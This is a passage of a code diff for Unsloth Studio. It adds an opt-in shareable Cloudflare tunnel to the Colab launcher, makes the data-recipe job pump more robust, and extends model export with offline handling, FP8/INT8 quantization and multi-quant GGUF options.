+        logger.info(f"Cloudflare tunnel unavailable ({e}); using Colab proxy only.")
+        return None
+    try:
+        url = start_studio_tunnel(port)
+    except Exception as e:
+        logger.info(f"Cloudflare tunnel failed to start ({e}); using Colab proxy only.")
+        return None
+    # Success is logged by _show_and_embed; note only misses here.
+    if not url:
+        logger.info("Cloudflare tunnel did not produce a URL; using Colab proxy only.")
+    return url
+
+
+def _publish_cloudflare_url(cloudflare_url: "str | None") -> None:
+    """Publish a directly-started tunnel URL onto app.state so /api/health advertises it.
+
+    run_server only sets this when it opens the tunnel itself, which it skips on Colab,
+    so we set it here. Otherwise the frontend's API examples fall back to an
+    unreachable server_url. Best-effort.
+    """
+    if not cloudflare_url:
+        return
+    try:
+        from main import app as _studio_app
+        _studio_app.state.cloudflare_url = cloudflare_url
+    except Exception as e:
+        logger.info(f"Could not publish Cloudflare URL to /api/health ({e}).")
+
+
+def _stop_cloudflare_tunnel() -> None:
+    """Best-effort teardown of the Cloudflare tunnel started by start_cloudflare_tunnel."""
+    try:
+        from cloudflare_tunnel import stop_studio_tunnel
+        stop_studio_tunnel()
+    except Exception:
+        pass
+    # Stop /api/health advertising a dead tunnel.
+    try:
+        from main import app as _studio_app
+        _studio_app.state.cloudflare_url = None
+    except Exception:
+        pass
+
+
+def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool:
+    """True only if Unsloth Studio (not some other app) answers /api/health on *port*.
+
+    The service-marker check stops the reuse path reusing or tunneling a foreign
+    process that merely serves /api/health.
+    """
+    import json, urllib.request
+    try:
+        with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout) as r:
+            return json.loads(r.read()).get("service") == "Unsloth UI Backend"
     except Exception:
         return False
 
 
-def _show_and_embed(port: int):
-    """Embed the Studio inline for *port* with a branded header bar.
-
-    Fetches the proxy URL once (registering the port), then renders header bar +
-    iframe. Falls back to serve_kernel_port_as_iframe if IPython HTML is unavailable.
+def _shareable_link_html(cloudflare_url: str) -> str:
+    """Branded card for the shareable Cloudflare link, styled like the show_link banner."""
+    return f"""
+    <div style="display: inline-block; padding: 20px; background: #ffffff; border: 2px solid #000000;
+                border-radius: 12px; margin: 10px 0; font-family: system-ui, -apple-system, sans-serif;">
+        <h2 style="color: #000000; margin: 0 0 12px 0; font-size: 26px; font-weight: 800;
+                   display: flex; align-items: center; gap: 12px;">
+            <img src="https://github.com/unslothai/unsloth/raw/main/studio/frontend/public/unsloth-gem.png"
+                 height="48" style="display:block;">
+            Shareable Studio Link is Ready!
+        </h2>
+        <a href="{cloudflare_url}" onclick="var w=window.open(this.href,'_blank');if(!w){{return true;}}return false;"
+           style="display: inline-flex; align-items: center; gap: 10px; padding: 14px 28px;
+                  background: #000000; color: white; text-decoration: none; border-radius: 8px;
+                  font-weight: 800; font-size: 16px; cursor: pointer;">
+            <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24" fill="white"><polygon points="5,3 19,12 5,21"/></svg>
+            Open Unsloth Studio
+        </a>
+        <p style="color: #333333; margin: 12px 0 0 0; font-size: 14px; font-weight: bold;">
+            This Cloudflare HTTPS link works from any device — share it with anyone. The Colab view below only works in this tab.
+        </p>
+        <p style="color: #333333; margin: 16px 0 0 0; font-size: 13px; font-family: monospace; font-weight: bold;">
+            🔗 {cloudflare_url}
+        </p>
+    </div>
     """
+
+
+def _show_and_embed(port: int, *, cloudflare_url: "str | None" = None):
+    """Render the Studio header + iframe for *port*, with a shareable-link card above
+    when *cloudflare_url* is set. Falls back to serve_kernel_port_as_iframe."""
     url = get_colab_url(port)
     logger.info(f"🌐 Unsloth Studio URL: {url}")
+    if cloudflare_url:
+        logger.info(f"🔗 Shareable Cloudflare link: {cloudflare_url}")
 
     try:
         from IPython.display import HTML, display
@@ -136,6 +244,9 @@ def _show_and_embed(port: int):
         except (ValueError, IndexError):
             short_url = url
 
+        if cloudflare_url:
+            display(HTML(_shareable_link_html(cloudflare_url)))
+
         display(
             HTML(f"""
 <div style="font-family:system-ui,-apple-system,sans-serif;margin:8px 0;
@@ -164,13 +275,18 @@ def _show_and_embed(port: int):
             pass
 
 
-def start(port: int = 8888):
-    """
-    Start Unsloth Studio server in Colab and display the URL.
+def start(port: int = 8888, *, cloudflare: bool = False):
+    """Start Unsloth Studio in Colab and display the URL.
+
+    Args:
+        port: Port to bind/serve on.
+        cloudflare: Opt in to a shareable Cloudflare HTTPS link reachable from any
+            device (default OFF). It exposes Studio's login page beyond Colab, so it
+            stays an explicit opt-in; the default shows only the in-tab proxy iframe.
 
     Usage:
-        from colab import start
-        start()
+        start()                    # Colab-proxy iframe only (default)
+        start(cloudflare=True)     # also open a shareable Cloudflare link
     """
     import time
 
@@ -180,13 +296,18 @@ def start(port: int = 8888):
     # the port, so just re-show the link and iframe.
     if _is_studio_healthy(port):
         logger.info(f"   Studio is already running on port {port} — reusing existing server.")
-        _show_and_embed(port)
+        # try/finally: tear the tunnel down even if interrupted mid-start/render.
         try:
+            cf_url = start_cloudflare_tunnel(port) if cloudflare else None
+            _publish_cloudflare_url(cf_url)
+            _show_and_embed(port, cloudflare_url = cf_url)
             for _ in range(10000):
                 time.sleep(300)
                 print("=", end = "", flush = True)
         except KeyboardInterrupt:
             logger.info("\nUnsloth Studio keepalive stopped.")
+        finally:
+            _stop_cloudflare_tunnel()
         return
 
     logger.info("   Loading backend...")
@@ -202,7 +323,15 @@ def start(port: int = 8888):
 
     logger.info("   Starting server...")
     try:
-        app = run_server(host = "0.0.0.0", port = port, frontend_path = frontend_path, silent = True)
+        # cloudflare=False: this helper owns the tunnel. run_server's default True
+        # would tunnel this 0.0.0.0 bind if Colab detection fails, breaking the opt-out.
+        app = run_server(
+            host = "0.0.0.0",
+            port = port,
+            frontend_path = frontend_path,
+            silent = True,
+            cloudflare = False,
+        )
     except SystemExit as exc:
         logger.error(f"❌ Unsloth Studio failed to start: {exc}")
         return
@@ -236,16 +365,21 @@ def start(port: int = 8888):
         )
         return
 
-    _show_and_embed(actual_port)
-
-    # Keep kernel alive so the daemon server thread runs; handle KeyboardInterrupt
-    # cleanly so interrupting the cell gives a readable message.
+    # Open the tunnel now the server is healthy, publish its URL for /api/health, and
+    # tear it down on interrupt (try/finally) rather than orphan the process.
     try:
+        cf_url = start_cloudflare_tunnel(actual_port) if cloudflare else None
+        _publish_cloudflare_url(cf_url)
+        _show_and_embed(actual_port, cloudflare_url = cf_url)
+
+        # Keep kernel alive so the daemon server thread runs.
         for _ in range(10000):
             time.sleep(300)
             print("=", end = "", flush = True)
     except KeyboardInterrupt:
         logger.info("\nUnsloth Studio keepalive stopped.")
+    finally:
+        _stop_cloudflare_tunnel()
 
 
 if __name__ == "__main__":
diff --git a/studio/backend/core/data_recipe/jobs/manager.py b/studio/backend/core/data_recipe/jobs/manager.py
index c238c250bd..0e0044702e 100644
--- a/studio/backend/core/data_recipe/jobs/manager.py
+++ b/studio/backend/core/data_recipe/jobs/manager.py
@@ -28,6 +28,9 @@ from .constants import (
 from .parse import apply_update, coerce_event, parse_log_message
 from .types import Job
 from .worker import run_job_process
+from loggers import get_logger
+
+logger = get_logger(__name__)
 
 
 _CTX = mp.get_context("spawn")
@@ -445,54 +448,86 @@ class JobManager:
                 events.append(coerce_event(q.get_nowait()))
             except queue.Empty:
                 return events
-            except (EOFError, OSError, ValueError):
+            except Exception:
+                # Return what we have so the run still finalizes rather than wedging "active".
+                logger.exception(
+                    "Data-recipe job pump: queue drain failed; finalizing with drained events"
+                )
                 return events
 
+    def _safe_handle_event(self, job: Job, event: dict) -> None:
+        """Apply one event, swallowing any handler error so the pump can't die."""
+        try:
+            self._handle_event(job, event)
+        except Exception:
+            etype = event.get("type") if isinstance(event, dict) else type(event).__name__
+            logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype)
+
     def _pump_loop(self) -> None:
-        """Background thread: consumes worker events + updates job snapshot."""
+        """Background thread: consume worker events and update the job snapshot.
+
+        Guarded so no single event can end the loop; it is the sole writer of the
+        snapshot the UI polls, so its death would freeze status/SSE.
+        """
         while True:
             snap = self._snapshot()
             if snap is None:
                 return
             job, proc, mp_q = snap
 
-            event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
+            try:
+                event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
+            except Exception:
+                # If a read keeps raising after the worker died, finalize instead
+                # of spinning forever; only retry while the worker is still alive.
+                logger.exception("Data-recipe job pump: queue read failed; continuing")
+                if proc.is_alive():
+                    time.sleep(0.1)
+                    continue
+                event = None
+
             if event is not None:
-                self._handle_event(job, event)
+                self._safe_handle_event(job, event)
                 continue
 
             if proc.is_alive():
                 continue
 
-            for e in self._drain_queue(mp_q):
-                self._handle_event(job, e)
+            # Worker exited: drain + finalize, guarded so an error can't strand the run "active".
+            try:
+                for e in self._drain_queue(mp_q):
+                    self._safe_handle_event(job, e)
 
-            retired_job: Job | None = None
-            with self._lock:
-                if self._job and self._job.status in {
-                    "pending",
-                    "active",
-                    "cancelling",
-                }:
-                    if self._job.status == "cancelling":
-                        self._job.status = "cancelled"
-                    else:
-                        self._job.status = "error"
-                        self._job.error = self._job.error or "process exited"
-                    self._job.finished_at = time.time()
-                    event_type = (
-                        EVENT_JOB_CANCELLED if self._job.status == "cancelled" else EVENT_JOB_ERROR
-                    )
-                    self._emit(
-                        {
-                            "type": event_type,
-                            "ts": time.time(),
-                            "job_id": self._job.job_id,
-                        }
-                    )
-                    retired_job = self._job
-            if retired_job is not None:
-                self._retire_workflow_key(retired_job)
+                retired_job: Job | None = None
+                with self._lock:
+                    if self._job and self._job.status in {
+                        "pending",
+                        "active",
+                        "cancelling",
+                    }:
+                        if self._job.status == "cancelling":
+                            self._job.status = "cancelled"
+                        else:
+                            self._job.status = "error"
+                            self._job.error = self._job.error or "process exited"
+                        self._job.finished_at = time.time()
+                        event_type = (
+                            EVENT_JOB_CANCELLED
+                            if self._job.status == "cancelled"
+                            else EVENT_JOB_ERROR
+                        )
+                        self._emit(
+                            {
+                                "type": event_type,
+                                "ts": time.time(),
+                                "job_id": self._job.job_id,
+                            }
+                        )
+                        retired_job = self._job
+                if retired_job is not None:
+                    self._retire_workflow_key(retired_job)
+            except Exception:
+                logger.exception("Data-recipe job pump: finalization after worker exit failed")
             return
 
     def _handle_event(self, job: Job, event: dict) -> None:
diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index a0959741a4..c8be50b08b 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -10,9 +10,21 @@ import tempfile
 from loggers import get_logger
 import os
 import shutil
+import contextlib
 from pathlib import Path
 from typing import Optional, Tuple, List
-from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
+
+# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable
+# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash.
+try:
+    from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
+    _UNSLOTH_IMPORT_ERROR = None
+except Exception as _unsloth_exc:  # ImportError (e.g. missing torch) or a broken native load
+    FastLanguageModel = None
+    FastVisionModel = None
+    _IS_MLX = False
+    _UNSLOTH_IMPORT_ERROR = _unsloth_exc
+
 from huggingface_hub import HfApi, ModelCard
 from utils.hardware import clear_gpu_cache
 
@@ -26,17 +38,130 @@ from utils.paths import (
 )
 from core.inference import get_inference_backend
 
-# GPU-only imports — guarded for Apple Silicon where these aren't needed
+# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays
+# importable; export then degrades to a clear "PyTorch is not installed" error.
+torch = None
+_TORCH_IMPORT_ERROR: Optional[BaseException] = None
 if not _IS_MLX:
-    from peft import PeftModel, PeftModelForCausalLM
-    from transformers.modeling_utils import PushToHubMixin
-    import torch
+    try:
+        from peft import PeftModel, PeftModelForCausalLM
+        from transformers.modeling_utils import PushToHubMixin
+        import torch
+    except Exception as _torch_exc:  # ImportError, or a broken native torch load
+        _TORCH_IMPORT_ERROR = _torch_exc
 
 logger = get_logger(__name__)
 
+
+def _export_runtime_available() -> bool:
+    """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host)."""
+    return bool(_IS_MLX) or (FastLanguageModel is not None)
+
+
+def _export_runtime_message() -> str:
+    """Precise reason the export runtime is unavailable, mirroring hardware.export_capability()."""
+    if torch is None:
+        return (
+            "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+            "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+        )
+    return (
+        "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
+        "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on "
+        "CPU only.)"
+    )
+
+
+# Kept for call sites / tests referencing the PyTorch-missing text.
+_PYTORCH_MISSING_MESSAGE = (
+    "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+    "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+)
+
 _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
 
 
+def _supports_kwarg(fn, name):
+    """True if `fn` accepts keyword `name` directly or via **kwargs."""
+    import inspect
+
+    try:
+        params = inspect.signature(fn).parameters
+    except (TypeError, ValueError):
+        return False
+    return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values())
+
+
+def _compressed_export_supported():
+    """True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export."""
+    try:
+        import unsloth.save as _us
+        return hasattr(_us, "_normalize_compressed_method")
+    except Exception:
+        return False
+
+
+def _torchao_export_supported():
+    """True if the installed unsloth build has the portable torchao FP8/INT8 export path."""
+    try:
+        import unsloth.save as _us
+        return hasattr(_us, "_normalize_torchao_method")
+    except Exception:
+        return False
+
+
+def _has_nvidia_gpu():
+    """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it."""
+    try:
+        from utils.hardware import hardware as _hw
+        return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM
+    except Exception:
+        try:
+            import torch
+            return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None
+        except Exception:
+            return False
+
+
+def _hf_offline(timeout = 3):
+    """True if export should avoid the Hub: honors the HF offline env vars, else does one
+    cheap TCP reachability probe so a network-down load uses local files / the HF cache
+    instead of hanging on connection timeouts. Proxy-aware (probes the proxy egress when
+    one is configured); disable the probe with UNSLOTH_OFFLINE_PROBE=0."""
+    _offline = {"1", "true", "yes", "on"}
+    if (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
+    ):
+        return True
+    if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in {"0", "false", "no", "off"}:
+        return False  # probe disabled -> assume online; loads still pass local_files_only on env
+
+    # Shared bounded, proxy-aware probe (also used by the export worker before version activation).
+    from utils.transformers_version import hf_endpoint_unreachable
+
+    if hf_endpoint_unreachable(timeout):
+        logger.warning("Hugging Face endpoint unreachable; loading checkpoint in offline mode")
+        return True
+    return False
+
+
+# Reuse Unsloth's lock-guarded forced-offline context; no-op fallback if it moves.
+try:
+    from unsloth.models.loader_utils import _force_hf_offline
+except Exception:
+    import contextlib as _contextlib
+
+    @_contextlib.contextmanager
+    def _force_hf_offline():
+        yield
+
+
+def _offline_window_if(local_files_only):
+    """Forced-offline window when offline was detected, else a no-op context."""
+    return _force_hf_offline() if local_files_only else contextlib.nullcontext()
+
+
 def _is_wsl():
     """Detect if running under Windows Subsystem for Linux."""
     try:
@@ -175,10 +300,19 @@ class ExportBackend:
 
             model_id = base_model or checkpoint_path
 
-            # Token the type-detection probes too, else a gated multimodal base
-            # 404s here and falls through to the text loader.
-            self._audio_type = detect_audio_type(model_id, hf_token = token)
-            self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token)
+            # Skip the Hub when offline so a no-internet export uses the local cache.
+            local_files_only = _hf_offline()
+
+            # Run the type-detection probes in the forced-offline window (else a gated
+            # base 404s); it covers is_vision_model's Hub reads + the transformers-5
+            # subprocess, and local_files_only makes detect_audio_type's requests.get skip.
+            with _offline_window_if(local_files_only):
+                self._audio_type = detect_audio_type(
+                    model_id, hf_token = token, local_files_only = local_files_only
+                )
+                self.is_vision = not self._audio_type and is_vision_model(
+                    model_id, hf_token = token, local_files_only = local_files_only
+                )
 
             if self._audio_type == "csm":
                 from unsloth import FastModel
@@ -193,6 +327,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "whisper":
@@ -207,6 +342,7 @@ class ExportBackend:
                     auto_model = WhisperForConditionalGeneration,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "snac":
@@ -218,6 +354,7 @@ class ExportBackend:
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "bicodec":
@@ -230,6 +367,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self._audio_type == "dac":
@@ -241,6 +379,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             elif self.is_vision:
@@ -252,6 +391,7 @@ class ExportBackend:
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
                 tokenizer = processor  # vision: processor acts as tokenizer
 
@@ -264,6 +404,7 @@ class ExportBackend:
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
                     token = token,
+                    local_files_only = local_files_only,
                 )
 
             if _IS_MLX:
@@ -318,13 +459,17 @@ class ExportBackend:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        compressed_method: Optional[str] = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export merged model (for PEFT models).
 
         Args:
             save_directory: Local directory to save model
-            format_type: "16-bit (FP16)" or "4-bit (FP4)"
+            format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label
+            compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8",
+                "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides
+                format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES.
             push_to_hub: Whether to push to Hugging Face Hub
             repo_id: Hub repository ID (username/model-name)
             hf_token: Hugging Face token
@@ -333,27 +478,114 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
-        if not self.is_peft:
-            return (
-                False,
-                "This is not a PEFT model. Use 'Export Base Model' instead.",
-                None,
-            )
+        # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike
+        # (save_pretrained_merged is a no-op merge that just saves the base).
 
         output_path: Optional[str] = None
+        # Quantized formats save to a sibling "<dir>-<suffix>". Two backends: compressed-tensors
+        # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias
+        # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label.
+        _LABEL_TO_ALIAS = {
+            "FP8 (compressed-tensors)": "fp8",
+            "NVFP4 (compressed-tensors)": "nvfp4",
+        }
+        compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)
+        compressed_suffix: Optional[str] = None
+        # Classify the alias: torchao-portable vs compressed-tensors.
+        torchao_info = None
+        if compressed_alias and _torchao_export_supported():
+            try:
+                import unsloth.save as _us_t
+                torchao_info = _us_t._normalize_torchao_method(compressed_alias)
+            except Exception:
+                torchao_info = None
+        is_torchao = torchao_info is not None
+        is_compressed = compressed_alias is not None and not is_torchao
         try:
+            if _IS_MLX and (is_compressed or is_torchao):
+                return (
+                    False,
+                    "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. "
+                    "Use 16-bit or GGUF.",
+                    None,
+                )
+
+            if is_torchao:
+                # Portable torchao: no NVIDIA GPU, no calibration.
+                compressed_suffix = torchao_info[1]
+
+            if is_compressed:
+                # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed.
+                if not _has_nvidia_gpu():
+                    return (
+                        False,
+                        "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other "
+                        "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.",
+                        None,
+                    )
+                if not _compressed_export_supported():
+                    return (
+                        False,
+                        "Compressed-tensors (FP8/FP4) export requires an Unsloth build with "
+                        "compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
+                        None,
+                    )
+                import unsloth.save as _us
+
+                # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models
+                # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports
+                # through it when available; else fall back to the workspace 0.10.x path below.
+                _shadow_pp = None
+                try:
+                    from utils.transformers_version import llmcompressor_shadow_pythonpath
+                    _shadow_pp = llmcompressor_shadow_pythonpath()
+                except Exception as e:
+                    logger.warning(f"llm-compressor-main shadow unavailable: {e}")
+                if _shadow_pp:
+                    os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp
+                else:
+                    # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its
+                    # transformers ceiling, so fail fast for sidecar models; default-tier still works.
+                    os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None)
+                    _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling()
+                    if _exceeds:
+                        return (
+                            False,
+                            "FP8/FP4 compressed-tensors export is not available for this model: it "
+                            f"runs under transformers {_tf_ver}, but the installed llm-compressor "
+                            f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the "
+                            "llm-compressor-main runtime could not be provisioned (offline or "
+                            "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.",
+                            None,
+                        )
+
+                try:
+                    info = _us._normalize_compressed_method(compressed_alias)
+                except Exception as e:
+                    return False, f"Unsupported compressed export '{compressed_alias}': {e}", None
+                if info is None:
+                    return (
+                        False,
+                        f"'{compressed_alias}' is not a recognized compressed-tensors export.",
+                        None,
+                    )
+                compressed_suffix = info[2]
+
             if _IS_MLX:
                 mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
+            elif is_compressed or is_torchao:
+                save_method = compressed_alias
+            elif format_type == "4-bit (FP4)":
+                save_method = "merged_4bit_forced"
+            elif self._audio_type == "whisper":
+                save_method = None
             else:
-                if format_type == "4-bit (FP4)":
-                    save_method = "merged_4bit_forced"
-                elif self._audio_type == "whisper":
-                    save_method = None
-                else:
-                    save_method = "merged_16bit"
+                save_method = "merged_16bit"
 
             if save_directory:
                 save_directory = str(resolve_export_write_dir(save_directory))
@@ -371,9 +603,15 @@ class ExportBackend:
                         save_directory, self.current_tokenizer, save_method = save_method
                     )
 
-                self._write_export_metadata(save_directory)
-                logger.info(f"Model saved successfully to {save_directory}")
-                output_path = str(Path(save_directory).resolve())
+                # Compressed / torchao writes to the "<dir>-<suffix>" sibling; report that as output.
+                final_dir = (
+                    f"{save_directory}-{compressed_suffix}"
+                    if (is_compressed or is_torchao)
+                    else save_directory
+                )
+                self._write_export_metadata(final_dir)
+                logger.info(f"Model saved successfully to {final_dir}")
+                output_path = str(Path(final_dir).resolve())
 
             if push_to_hub:
                 if not repo_id or not hf_token:
@@ -408,6 +646,31 @@ class ExportBackend:
                                 token = hf_token,
                                 private = private,
                             )
+                elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():
+                    # Already built in output_path; upload it directly instead of re-running the
+                    # expensive quantization that push_to_hub_merged(save_method=...) would redo.
+                    hf_api = HfApi(token = hf_token)
+                    repo_id = PushToHubMixin._create_repo(
+                        PushToHubMixin,
+                        repo_id = repo_id,
+                        private = private,
+                        token = hf_token,
+                    )
+                    content = MODEL_CARD.format(
+                        username = repo_id.split("/")[0],
+                        base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
+                        model_type = getattr(self.current_model.config, "model_type", "llm"),
+                        method = compressed_alias or format_type,
+                        extra = "unsloth",
+                    )
+                    ModelCard(content).push_to_hub(
+                        repo_id, token = hf_token, commit_message = "Unsloth Model Card"
+                    )
+                    hf_api.upload_folder(
+                        folder_path = output_path,
+                        repo_id = repo_id,
+                        repo_type = "model",
+                    )
                 else:
                     hub_save_method = save_method if save_method is not None else "merged_16bit"
                     self.current_model.push_to_hub_merged(
@@ -443,6 +706,8 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
@@ -561,17 +826,20 @@ class ExportBackend:
     def export_gguf(
         self,
         save_directory: str,
-        quantization_method: str = "Q4_K_M",
+        quantization_method = "Q4_K_M",
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
+        imatrix_file = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export model in GGUF format.
 
         Args:
             save_directory: Local directory to save model
-            quantization_method: GGUF quantization method (e.g., "Q4_K_M")
+            quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them
+                (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single
+                model load (unsloth save_to_gguf loops internally).
             push_to_hub: Whether to push to Hugging Face Hub
             repo_id: Hub repository ID
             hf_token: Hugging Face token
@@ -579,14 +847,35 @@ class ExportBackend:
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
+        # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise
+        # an unexpected-keyword error even for a plain no-imatrix export.
+        if imatrix_file is not None and not _supports_kwarg(
+            self.current_model.save_pretrained_gguf, "imatrix_file"
+        ):
+            return (
+                False,
+                "This Unsloth build does not support GGUF imatrix export. "
+                "Upgrade unsloth and unsloth_zoo, or disable the imatrix option.",
+                None,
+            )
+        imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}
+
         output_path: Optional[str] = None
         model_tmp_to_cleanup: Optional[str] = None
         try:
-            # unsloth expects lowercase quant method
-            quant_method = quantization_method.lower()
+            # Normalize to a lowercased list so multiple quants come from one model load.
+            if isinstance(quantization_method, (list, tuple)):
+                quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()]
+            else:
+                quant_methods = [str(quantization_method).lower()]
+            if not quant_methods:
+                quant_methods = ["q4_k_m"]
+            quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0]
 
             # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it
             # can't drift past the pinned llama-quantize binary's gguf API.
@@ -635,6 +924,7 @@ class ExportBackend:
                     _model_tmp,
                     self.current_tokenizer,
                     quantization_method = quant_method,
+                    **imatrix_kw,
                 )
 
                 # Relocate the .gguf that convert_to_gguf wrote to cwd (repo root).
@@ -701,12 +991,13 @@ class ExportBackend:
                     self.current_tokenizer,
                     quantization_method = quant_method,
                     token = hf_token,
+                    **imatrix_kw,
                 )
                 logger.info(f"GGUF model pushed successfully to {repo_id}")
 
             return (
                 True,
-                f"GGUF model exported successfully ({quantization_method})",
+                f"GGUF model exported successfully ({', '.join(quant_methods)})",
                 output_path,
             )
 
@@ -726,19 +1017,56 @@ class ExportBackend:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        gguf: bool = False,
+        gguf_outtype: str = "q8_0",
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export LoRA adapter only (not merged).
 
+        Args:
+            gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp
+                convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.
+            gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32.
+
         Returns:
             Tuple of (success: bool, message: str, output_path: Optional[str])
         """
+        if not _export_runtime_available():
+            return False, _export_runtime_message(), None
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
         if not self.is_peft:
             return False, "This is not a PEFT model. No adapter to export.", None
 
+        _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32")
+        if gguf:
+            if _IS_MLX:
+                return (
+                    False,
+                    "GGUF LoRA adapter export is not supported on macOS/MLX. "
+                    "Use the safetensors adapter instead.",
+                    None,
+                )
+            outtype = str(gguf_outtype).lower()
+            if outtype not in _GGUF_LORA_OUTTYPES:
+                return (
+                    False,
+                    f"Invalid GGUF LoRA outtype '{gguf_outtype}'. "
+                    f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.",
+                    None,
+                )
+            # getattr so an older build without save_pretrained_gguf returns a clean message
+            # instead of an AttributeError (a generic 500).
+            _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None)
+            if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"):
+                return (
+                    False,
+                    "This Unsloth build does not support GGUF LoRA adapter export. "
+                    "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.",
+                    None,
+                )
+
         output_path: Optional[str] = None
         try:
             if save_directory:
